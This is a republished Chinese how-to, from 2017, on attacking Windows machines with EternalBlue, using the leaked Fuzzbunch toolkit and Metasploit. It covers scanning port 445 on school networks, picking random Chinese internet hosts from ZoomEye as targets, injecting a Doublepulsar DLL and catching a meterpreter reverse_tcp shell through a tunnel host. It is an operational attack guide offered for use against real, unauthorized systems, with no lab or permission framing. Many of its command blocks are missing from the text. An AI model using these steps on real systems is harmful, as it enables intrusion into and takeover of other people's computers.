手把手教你用永恒之蓝(Eternalblue)勒索病毒漏洞的高阶用法

作者:7sDream 来源: https://www.zybuluo.com/7sDream/note/729295

安装 MSF

Linux & Mac OS X

如果遇到问题,点开这个链接,然后自己想想办法……

查看是否安装成功

然后输入 msfconsole 看看安装是不是成功了……

这样的话就算成功了。

安装 WINE 和 winetricks

Linux

OSX

安装 Windows Python 环境

跟着 wizard 走完就行了……一路下一步。

复制工具包到 Windows 分区

默认 WINE 环境的虚拟磁盘在 ~/.wine/drive_c

把那个工具包里的 windows 文件夹改个名字,复制到这里去……

比如改名叫 tools,复制到 ~/.wine/drive_c/tools。

进入 Win CMD

如果这一步出现什么 wrong font 错误,可以试试安装 fonts-wine 包,或者用 winetricks --gui,选择默认 WINE ,安装字体,勾上 corefont。

没错的话会出现一个黑框框,就是 CMD 了,先 右键 - properties - font 调整一下字体什么的,注意确定保存的时候选第一个单选框……调到你觉得好看的字体为止。然后:

试一下 Win 上的 Python 有没有安装好,如果没问题就 Ctrl-D 退出。

修改 fuzzbunch 默认配置

到 ~/.wine/drive_c/tools 这里,用文本编辑器打开 fuzzbunch.xml。

修改 ResourcesDir 为 C:\tools\Resources,LogDir 为 C:\logs。

运行 fuzzbunch

再次打开 CMD,cd 到 Python 目录,然后执行:

如果出现这样的话环境就算是配置好了:

然后可以暂时退出了。

查看网络环境

本机上执行:

找到自己正在使用的网络,记下 IP 和 子网掩码。

安装 Zmap

Zmap 是一个快速的网络扫描器,反正就是收集信息用的。

Linux

OSX

安装好了之后 sudo zmap --version 测试一下。

扫描子网

根据你上一步得到的 IP 和子网掩码,扫描网络。

假如你的 IP 是 10.128.129.45 子网掩码 255.255.192.0,把子网掩码按照下表换成数字,然后加起来。

所以 255.255.192.0 = 8 + 8 + 2 = 18。要扫描的 CIDR 就是 10.128.129.45/18

然后运行:

-B 选项后面的是扫描速度,根据你们的内网带宽找一个合适的速度填就行。比如我们内网 100M,我就用一半的速度扫。

如果遇到 blacklist 的错误,可以去修改 /etc/zmap/blacklist.conf 这个文件,把需要扫描的内网地址注释掉:

如果遇到 interface 什么的错误,就用 -i <interface> 指定要使用的网卡。比如你是用 WiFi 的话就 -i wlan0。

如果遇到 get-gateway 的错误,就先运行 netstat -nr 得到网关的 IP,然后运行 sudo arp -a <网关IP> 获取他的 MAC 地址:见下图:

获取到网关 MAC 之后,用 -G 参数写在命令行里即可。

OK,开始扫描吧,这时候等着就行了。

扫描完成之后 cat 445.csv 就可以看到所有开了 445 的机器了。

如果你扫描出来文件是空的的话……那说明你的网段可能太小了。

如果你是学生,可以考虑扫描一下全校网段,一般用 10.0.0.1/8 扫描的话应该会能得到一些结果的。

如果还是不行,那就用备选方案吧……

备选方案 - Zoomeye

如果你子网扫描出来的文件是个空的的话,你也可以选择扫描互联网上的机器。

当然这时候我们就不自己用 zmap 扫了,Zoomeye 可以帮助我们。

打开:https://www.zoomeye.org/

搜索框右边的选项选主机,输入 service:microsoft-ds os:windows country:china Enter 搜索。

也可以加一个参数 city:beijing 来搜索特定城市的主机。

然后随便选几个 IP 写到 445.csv 里去吧,一行一个 IP 就行。

漏洞检测

现在用 msfconsole 打开 MSF,输入 use auxiliary/scanner/smb/smb_version 注意从现在开始就不要复制命令了,最好都手打,要习惯用 Tab 补全。

前面的 msf 提示符变成 msf auxiliary(smb_version) > 就表示进入这个扫描器的上下文了。

输入 options 查看可用的选项:

RHOSTS 表示要扫描额主机列表,THREADS 表示扫描线程数,一般填个 50 什么的就差不多了。如果你 RHOST 数量比小于 50 的话,你也可以填少一点。

用 set 命令设置选项:

输入完后再用 options 查看一下选项,确认没问题之后输入 exploit,回车开始执行 scanner.

执行过程中应该会有很多信息输出出来,等他运行完,输入 hosts 查看当前获得的主机资料:

OK,一个 Win10 一个 Win7 一个 WinServer 2008 R2。

Win 7 以上的可以不用考虑了,Win 7 和 WinServer 2008 一般来说是可以的。

如果你不放心,可以使用 auxiliary/scanner/smb/smb_ms17_010 这个扫描器做一次漏洞检测。这个就不说详细步骤了,当作练习吧,结果大概是这样的:

嗯,他说 Likely 嘛,一般来说 还是选 Win 7 和 Server 2008 以下的主机当作目标吧。

OK 我现在就选那台 Win 7 的 10.158.24.2 了,后面的操作都会用这个 IP,你记得换成你自己的目标哈。

Fuzzbunch 出场

用之前的命令启动 WINE CMD,用 Python 打开 fuzzbunch:

  • 第一个地方输入你的目标的 IP 地址
  • 第二空 Callback IP 随便填,因为用不到,这里就填 127.0.0.1 好了
  • 第三个很重要,一定 要填 no
  • 后面如果你没有项目的话就选 0 新建一个,你下次启动想用之前的话就选 index
  • 然后文件位置什么的就都默认,一路回车下来就行

看见 fb > 字样的提示符就表示初始设置完成。

Eternalblue 攻击

Fuzzbunch 的使用方法和 MSF 其实差不多。

输入 use Eternalblue 载入攻击模块,同样注意多使用 Tab 键。

和 MSF 不一样,FB 会进行交互性的参数输入:

如果上面的参数(主要是 IP)没错的话,也可以输入 no 来取消交互式输入。

然后来到这一步,攻击方式一定要选 1 FB 方式:

然后继续跟着交互提示走,Tunnels 部分直接一路回车,开始执行后门安装:

如果到 Receiving response from exploit packet 这句话这里停住的话,大概率是打了补丁,你可以换个目标了。

如果是停在 Triggering free of corrupted buffer 这句的话,基本就成功了,等着就好。

OK,等了一会之后,Eternalblue 攻击成功。

注意观察一下这里写的目标机器的 Arch 是 32 bit 还是 64 bit,后面要用。

TCP 隧道

这一步需要你有公网 IP,如果你没有的话可以用 TCP 隧道服务来代替……比如各种基于 Ngrok 的隧道服务……

这里我就不教程了……你们自己弄好就行

我现在假设你们隧道服务商 IP 是 123.123.123.123,给你的端口是 8888,你本地的端口也开 8888,下面一步操作的时候记得把这些数字换成真实的。

提示 如果你是扫描校内网,而且校内网没有对机器互联端口做限制的话,不用 TCP 隧道也是可以的,那你就把下面教程里的所有 LHOST 填你自己的网卡 IP 即可。

MSF 监听反弹端口

在 MSF 里,使用 multi/handler。

如果你要攻击的机器是 32 位的机器:

set payload windows/meterpreter/reverse_tcp

如果是 64 位的:

set payload windows/x64/meterpreter/reverse_tcp

然后

LHOST 就填 127.0.0.1 就可以,因为上面我们用了隧道。

最后一个 -j 是将 exploit 放在后台运行,暂时可以不用管了。

你可以通过 jobs -l 看到所有后台任务。

生成 Shellcode DLL

在 MSF 里执行

上面的 {Payload} 换成你上个阶段用的 payload,然后 HOST 和 PORT 也要记得换,{ARCH} 如果是 32 位就写 x8664 位就写 x64。

你也可以分别生成两个 DLL 备用,反正以后攻击到的 32 位 64 位都有可能。

然后把这两个 DLL 复制到 ~/.wine/drive_c 目录下

双倍脉冲(Doublepulsar)注入

切换到 Wine CMD 里的 FB 平台,使用 Doublepulsar

然后就按照提示一路 Enter,Proto 选 SMB,x86 还是 x64 根据目标机器选。

这一步选 2,RunDLL。

DLL 位置选根据你的文件名填,比如 C:\x86.dll 或者 C:\x64.dll,然后继续 Enter。

当你看到这个 Success 的时候,表示注入成功。

DONE

现在切回你的 MSF 看看是不是有些 sending stage 之类的输出。

如果没有的话就把 DLL 的生成检查一遍看看参数有没有写对,然后再执行一遍上一步。

如果有输出的就输入 sessions -l 查看已经连接好的 meterpreter。

然后用 sessions -i <ID> 连上去:

OK 了!后面的我就不教了,你可以输入 help 然后 Tab 看看有哪些命令。然后 <command> -h 获取帮助。

然后 https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/ 这里有一些基本的后渗透命令的解释。

其实到这一步,渗透才刚刚开始

原文发布于微信公众号 - 马哥Linux运维(magedu-Linux)

原文发表时间:2017-05-15

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏杨建荣的学习笔记

从零开始搭建Nginx和Tomcat的web集群环境

一直以来对于web服务器对tomcat还是很熟悉了,但是很对于nginx还是有些陌生,一看到nginx的配置就让人有一种莫名的排斥,这就是对于陌生的恐惧,我们今...

3915
来自专栏点滴积累

OpenStack(企业私有云)万里长征第六步——OpenStack网络及虚拟机存储位置

一、前言 昨天又装了一遍OpenStack。码农这项工作就如同人生,永远有你想不到的意外在等着你,时而是惊喜时而是悲伤。在装的过程中倒是很顺利,只是在安装完成之...

42910
来自专栏张善友的专栏

IIS 7.0的六大安全新特性为你的Web服务器保驾护航

文章来自:WindowsITPro  2009年2月期 当你启用一台Web服务器的时候,你就把你公司的一部分完全展现给了公众,任凭他人摆布。Web服务器上的那些...

24210
来自专栏散尽浮华

Haproxy和Nginx负载均衡测试效果对比记录

为了对比Hproxy和Nginx负载均衡的效果,分别在测试机上(以下实验都是在单机上测试的,即负载机器和后端机器都在一台机器上)做了这两个负载均衡环境,并各自抓...

4007
来自专栏区块链

邮箱自身系统安全的防御部署实践

前面几期我们介绍的是发现邮箱安全问题和分析问题,本期我们介绍一下邮箱系统安全防御及加固手段,可以重点解决邮箱系统通用应用漏洞缺陷防护和邮箱反入侵问题。为解决邮箱...

2695
来自专栏CodeSheep的技术分享

利用TICK搭建Docker容器可视化监控中心

性能监控是容器服务必不可少的基础设施,容器化应用运行于宿主机上,我们需要知道该容器的运行情况,包括 CPU使用率、内存占用、网络状况以及磁盘空间等等一系列信息。...

3354
来自专栏安恒信息

邮箱安全服务第6期 | 邮箱自身系统安全的防御部署实践

前面几期我们介绍的是发现邮箱安全问题和分析问题,本期我们介绍一下邮箱系统安全防御及加固手段,可以重点解决邮箱系统通用应用漏洞缺陷防护和邮箱反入侵问题。为解决邮箱...

2946
来自专栏自由而无用的灵魂的碎碎念

实战解决使用ghost安装系统出现的各种问题

昨天使用ghost给人安装系统时,把另一个分区的数据都搞没了,安装完也只剩下一个分区,相信了解的同志们知道是什么原因。

1473
来自专栏生信技能树

R包终极解决方案

写在前面: 在如何通过Google来使用ggplot2可视化这篇文章中,我们曾经介绍过R语言在生物信息学中的重要性。 这篇文章也激发了很多小伙伴学习的热情。学习...

6047
来自专栏Albert陈凯

2018-10-09 lombok 生产环境报错SEVERE: Unable to process Jar entry [module-info.class] from Jar [jar:fil...

老师您好,课程里面用的lombok,感觉很方便,我就在我写的一个测试项目里面也用的这个。在idea里面用tomcat是可以正常运行的。但是打好包以后,放到服务器...

4.6K2

扫码关注云+社区

领取腾讯云代金券